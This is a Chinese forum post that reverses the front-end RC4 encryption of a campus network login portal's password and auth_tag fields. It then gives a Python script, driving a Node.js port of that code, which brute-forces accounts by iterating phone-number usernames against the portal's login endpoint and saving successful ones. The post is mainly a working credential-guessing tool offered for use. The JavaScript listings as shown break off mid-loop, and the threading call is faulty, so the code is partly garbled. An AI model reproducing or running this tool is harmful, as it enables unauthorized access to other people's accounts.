2.然后先是连接上校园网,直接浏览器跳转到了登陆界面
随便整个号登录一下,看一下登录的包
。
可以看到pwd =密码是经过加密的。还有个auth_tag不知道是什么。但是知道,这都是在前端的js进行加密的。我们也当然使用最简单的方法,直接找到负责加密的js代码,放在本机上运行看看。
下面就直接用pwd和auth_tag在js文件里面找一下了。
F12打开开发者工具,点击网络,筛选js,刷新一下。ctrl+f 搜索一下pwd或者auth_tag,当然是优先搜索auth_tag的。因为它可能在其他包里面的可能很小(能懂吧),出现了那就八九不离十了。
如图这样。
微信截图_20230314175915.png (53.38 KB, 下载次数: 1)
下载附件
2023-3-14 18:06 上传
。
搜索之后,挨个点一下,看看哪些出现auth_tag的文件都是哪一个。这里是都指向了login_new.js
然后右键选择"在来源页面打开" 然后就能看到这个文件的完整代码了。
可以看到pwd也在。然后就是断点调试,像下面这样,把可能的点都打上。
6.png (38.09 KB, 下载次数: 0)
下载附件
2023-3-14 18:27 上传
调试之后,顺藤摸瓜,把函数都找出来。最后像下面这样。
[JavaScript] 纯文本查看 复制代码
function do_encrypt_rc4(src, passwd) {
src = $.trim(src+''); //这里就是处理一下src两边的空白 如过放在自己的环境里面报错直接不要就行
passwd = passwd + '';
var i, j = 0, a = 0, b = 0, c = 0, temp;
var plen = passwd.length,
size = src.length;
var key = Array(256); //int
var sbox = Array(256); //int
var output = Array(size); //code of data
for (i = 0; i
到此就是表单上的两个加密字段逆向结束。
--------------------------------------------------------------
[color=]-
[color=]分割符
-----------------------------------------------------------------
下面就是直接上py代码,用于发送包,爆破密码。
[Python] 纯文本查看 复制代码
#导入包
import requests
import subprocess #用于和js交互的
import threading
#设置请求头
headers = {
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin': 'http://1.1.1.2',
'Pragma': 'no-cache',
'Referer': 'http://1.1.1.2/ac_portal/20230304150257/pc.html?template=20230304150257&tabs=pwd&vlanid=1026&url=http://www.msftconnecttest.com%2fredirect',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
}
# 给js传递user的值
def get_phone(phone_num):
user=str(phone_num)
result = subprocess.run(['node', 'jiami.js',user], capture_output=True)
pwd_auth = (result.stdout.decode()).split() //用于接收js返回的值
data_str=f"opr=pwdLogin&userName={pwd_auth[0]}&pwd={pwd_auth[1]}&auth_tag={pwd_auth[2]}&rememberPwd=0" //直接按照字符串传过去,其他格式报错比如json
#进行请求
response = requests.post('http://1.1.1.2/ac_portal/login.php', headers=headers, data=data_str)
json_text=response.text
if "'success':true" in json_text:
with open('pyyhone.txt','a') as f:
f.write('0'+str(phone_num)+'\n')
print(json_text)
for user in [一直账号的前几位+后四位变为0]:
for i in range(1,9999):
user=user+1
print(f"正在检测{user}")
# 创建多个线程
threads = []
t = threading.Thread(target=get_phone(user))
threads.append(t)
# 启动所有线程
t.start()
# 等待所有线程执行完毕
if i%100==0:
for t in threads:
t.join()
下面在附上我改过的js代码(为了适应node.js.我电脑上只有node.js环境,和与py代码实现user传递,和pwd以及auth_tag的接收)
[JavaScript] 纯文本查看 复制代码
function do_encrypt_rc4(src, passwd) {
//src = $.trim(src+'');
passwd = passwd + '';
var i, j = 0, a = 0, b = 0, c = 0, temp;
var plen = passwd.length,
size = src.length;
var key = Array(256); //int
var sbox = Array(256); //int
var output = Array(size); //code of data
for (i = 0; i
好了,overover收工!!!!!!